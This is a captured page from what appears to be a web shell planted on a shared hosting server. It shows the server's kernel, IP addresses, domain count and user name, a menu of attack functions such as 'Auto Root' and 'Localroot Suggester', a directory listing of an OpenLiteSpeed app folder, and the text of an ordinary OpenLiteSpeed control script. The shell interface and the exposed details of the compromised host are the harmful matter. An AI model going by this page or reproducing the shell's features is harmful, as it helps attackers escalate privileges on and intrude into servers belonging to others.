Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.26
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
softaculous /
apps /
openlitespeed /
Delete
Unzip
Name
Size
Permission
Date
Action
images
[ DIR ]
drwxr-xr-x
2026-04-20 11:43
includes
[ DIR ]
drwxr-xr-x
2026-04-20 11:43
languages
[ DIR ]
drwxr-xr-x
2026-04-20 11:43
themes
[ DIR ]
drwxr-xr-x
2026-04-20 11:43
404.html
431
B
-rw-r--r--
2022-06-27 07:56
500.html
406
B
-rw-r--r--
2022-06-27 07:56
50x.html
479
B
-rw-r--r--
2022-06-27 07:56
Comodo_Nginx_ModSec_3.0.zip
330.38
KB
-rw-r--r--
2026-04-20 11:43
OWASP3.zip
443.14
KB
-rw-r--r--
2026-04-20 11:43
hooks.php
429.5
KB
-rw-r--r--
2026-04-14 09:36
httpd_config.conf
5.1
KB
-rw-r--r--
2024-01-11 07:21
info.xml
3.19
KB
-rw-r--r--
2026-03-25 09:41
install.php
47.49
KB
-rw-r--r--
2026-04-14 09:36
install.xml
1.01
KB
-rw-r--r--
2024-02-15 04:37
lshttpd.service
653
B
-rw-r--r--
2024-03-08 09:25
lswsctrl.open
6.99
KB
-rw-r--r--
2022-06-29 10:58
md5
3.97
KB
-rw-r--r--
2026-04-14 09:36
noindex.html
2.9
KB
-rw-r--r--
2022-06-27 07:56
notes.txt
0
B
-rw-r--r--
2022-06-27 07:56
openlitespeed-x86_64.tar.gz
89.17
MB
-rw-r--r--
2026-04-20 11:43
openlitespeed_logrotate
344
B
-rw-r--r--
2025-02-10 02:31
remove.php
12.22
KB
-rw-r--r--
2026-04-14 09:36
rev
4
B
-rw-r--r--
2026-04-14 09:36
suspended.html
1.3
KB
-rw-r--r--
2023-11-14 08:32
update.php
15.04
KB
-rw-r--r--
2026-04-14 09:36
webadmin.csr
382
B
-rw-r--r--
2021-12-24 10:19
Save
Rename
#!/bin/sh # # chkconfig: - 85 15 # processname: openlitespeed # config: /usr/local/lsws/httpd.conf # ### BEGIN INIT INFO # Provides: openlitespeed # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: start and stop openlitespeed ### END INIT INFO # resolve links - $0 may be a softlink PROG="$0" #if [ -d "/usr/local/cpanel" ]; then # WSWATCH=1 #fi EXECUTABLE=litespeed DESC="litespeed" BASE_DIR=`dirname "$PROG"` cd "$BASE_DIR" BASE_DIR=/usr/local/lsws/bin if [ -f "$BASE_DIR"/lsws_env ] ; then . "$BASE_DIR"/lsws_env fi # if the lsws_env is empty or not exist, still need to set the default values if [ "x$PIDFILE" = "x" ] ; then PIDFILE=/tmp/lshttpd/lshttpd.pid GRACEFUL_PIDFILE=/tmp/lshttpd/graceful.pid fi RESTART_LOG="$BASE_DIR/../logs/lsrestart.log" if [ ! -x "$BASE_DIR"/"$EXECUTABLE" ]; then echo "[ERROR] Cannot find $BASE_DIR/$EXECUTABLE" exit 1 fi SYS_NAME=`uname -s` if [ "x$SYS_NAME" = "xFreeBSD" ] || [ "x$SYS_NAME" = "xDarwin" ] ; then PS_CMD="ps -ax" else PS_CMD="ps -ef" fi test_running() { RUNNING=0 if [ -f $PIDFILE ] ; then FPID=`cat $PIDFILE` if [ "x$FPID" != "x" ]; then kill -0 $FPID 2>/dev/null if [ $? -eq 0 ] ; then RUNNING=1 PID=$FPID fi fi fi RESTARTING=0 if [ -f "$BASE_DIR"/"../admin/tmp/.restart" ]; then RESTARTING=1 fi } ret=0 killwatch() { WATCH_PROCS=`$PS_CMD | grep wswatch.sh | grep -v grep | wc -l` if [ $WATCH_PROCS -gt 0 ]; then pkill wswatch.sh fi } start() { if [ -f "get_trial_key.sh" ]; then ./get_trial_key.sh fi killwatch if [ -f "$PIDFILE" ]; then PID=`cat $PIDFILE` else PID="" fi export OLS_PID_FILE=$PIDFILE ./$EXECUTABLE ret=$? if [ $ret -eq 0 ]; then NEW_PID=`cat $PIDFILE` if [ "x$NEW_PID" = "x$PID" ] || [ "x$NEW_PID" = "x" ]; then sleep 1 NEW_PID=`cat $PIDFILE` fi echo "[OK] $DESC: pid=$NEW_PID." test_running if [ "x$WSWATCH" = "x1" ]; then ./wswatch.sh & fi else echo "[ERROR] Failed to start $DESC!" fi } stop() { killwatch kill -USR2 $PID kill $PID test_running if [ $RUNNING -eq 0 ]; then echo "[OK] $DESC: stopped." else for i in {1..15} do sleep 1 test_running #echo "[$i/15]: test if running" if [ $RUNNING -eq 1 ]; then if [ "$i" = "14" ] || [ "$i" = "15" ] ; then kill -9 $PID # echo "Sent kill again to stop." #else # echo "[$i/15]: running, wait for 1 more second." fi else break fi done test_running if [ $RUNNING -eq 1 ]; then echo "[ERROR] can not kill $DESC" else echo "[OK] $DESC: stopped." fi fi } delay_stop() { killwatch kill -USR2 $PID kill -HUP $PID ret=$? if [ $ret -eq 0 ]; then # if [ -f $PIDFILE ]; then # sleep 1 # fi echo "[OK] $DESC: graceful stop." else echo "[ERROR] can not kill $DESC" fi } do_restart() { if [ $RUNNING -eq 1 ]; then kill -USR1 $PID ret=$? if [ $ret -ne 0 ]; then echo "[ERROR] cannot gracefully restart $DESC" else echo "[OK] Send SIGUSR1 to $PID" sleep 1 fi else start fi } log7080() { if [ "x$SYS_NAME" = "xLinux" ]; then echo "checking port 7080 usage with netstat" >> $RESTART_LOG netstat -anp | grep 7080 >> $RESTART_LOG echo "checking port 7080 usage with lsof" >> $RESTART_LOG lsof -i TCP:7080 >> $RESTART_LOG fi } restart() { SPID=$PID TRY=1 if [ $RUNNING -eq 1 ]; then do_restart if [ $RESTARTING -eq 1 ]; then exit 0 fi sleep 2 test_running else if [ $RESTARTING -eq 1 ]; then if [ -f $GRACEFUL_PIDFILE ]; then GPID=`cat $GRACEFUL_PIDFILE` if [ "x$GPID" != 'x' ]; then if [ $GPID -ne 0 ] && [ $GPID -ne 1 ]; then pkill -9 $EXECUTABLE fi fi fi fi start sleep 2 test_running fi while [ $TRY -lt 15 ] && [ "x$PID" = "x$SPID" ]; do TRY=`expr $TRY + 1` sleep 1 test_running done if [ $RUNNING -eq 0 ]; then echo "LSWS does not restart properly, check port 7080" >> $RESTART_LOG #log7080 pkill -9 $EXECUTABLE sleep 1 echo "check port 7080 after kill all $EXECUTABLE processes " >> $RESTART_LOG #log7080 start fi } reload() { restart # kill -HUP $PID # ret=$? # if [ $ret -eq 0 ]; then # echo "[OK] $DESC: configuration reloaded" # else # echo "[ERROR] Can't send SIGHUP to $DESC" # fi } help() { echo $"Usage: $PROG {start|stop|restart|reload|condrestrt|try-restart|status|help}" cat <<EOF start - start web server stop - stop web server restart - gracefully restart web server with zero down time reload - same as restart condrestart - gracefully restart web server if server is running try-restart - same as condrestart fullrestart - do full stop then start status - show service status help - this screen EOF } test_running date >> $RESTART_LOG echo "$1, LSWS running: $RUNNING" >> $RESTART_LOG case "$1" in start|restart) restart ;; condrestart|try-restart) if [ $RUNNING -eq 1 ]; then restart fi ;; fullrestart) if [ $RUNNING -eq 1 ]; then service lsws stop sleep 1 test_running service lsws start fi ;; status) if [ $RUNNING -eq 1 ]; then echo "$DESC is running with PID $PID." else echo "[ERROR] $DESC is not running." fi ;; stop) if [ $RUNNING -eq 0 ]; then sleep 1 test_running fi if [ $RUNNING -eq 1 ]; then stop else echo "[ERROR] $DESC is not running." ret=1 fi ;; delay-stop) if [ $RUNNING -eq 0 ]; then sleep 1 test_running fi if [ $RUNNING -eq 1 ]; then delay_stop else echo "[ERROR] $DESC is not running." ret=1 fi ;; stophttpd) if [ $RUNNING -eq 1 ]; then kill $PID fi ;; reload) if [ $RUNNING -eq 1 ]; then reload else echo "[ERROR] $DESC is not running." ret=2 fi ;; *) help ret=3 ;; esac exit $ret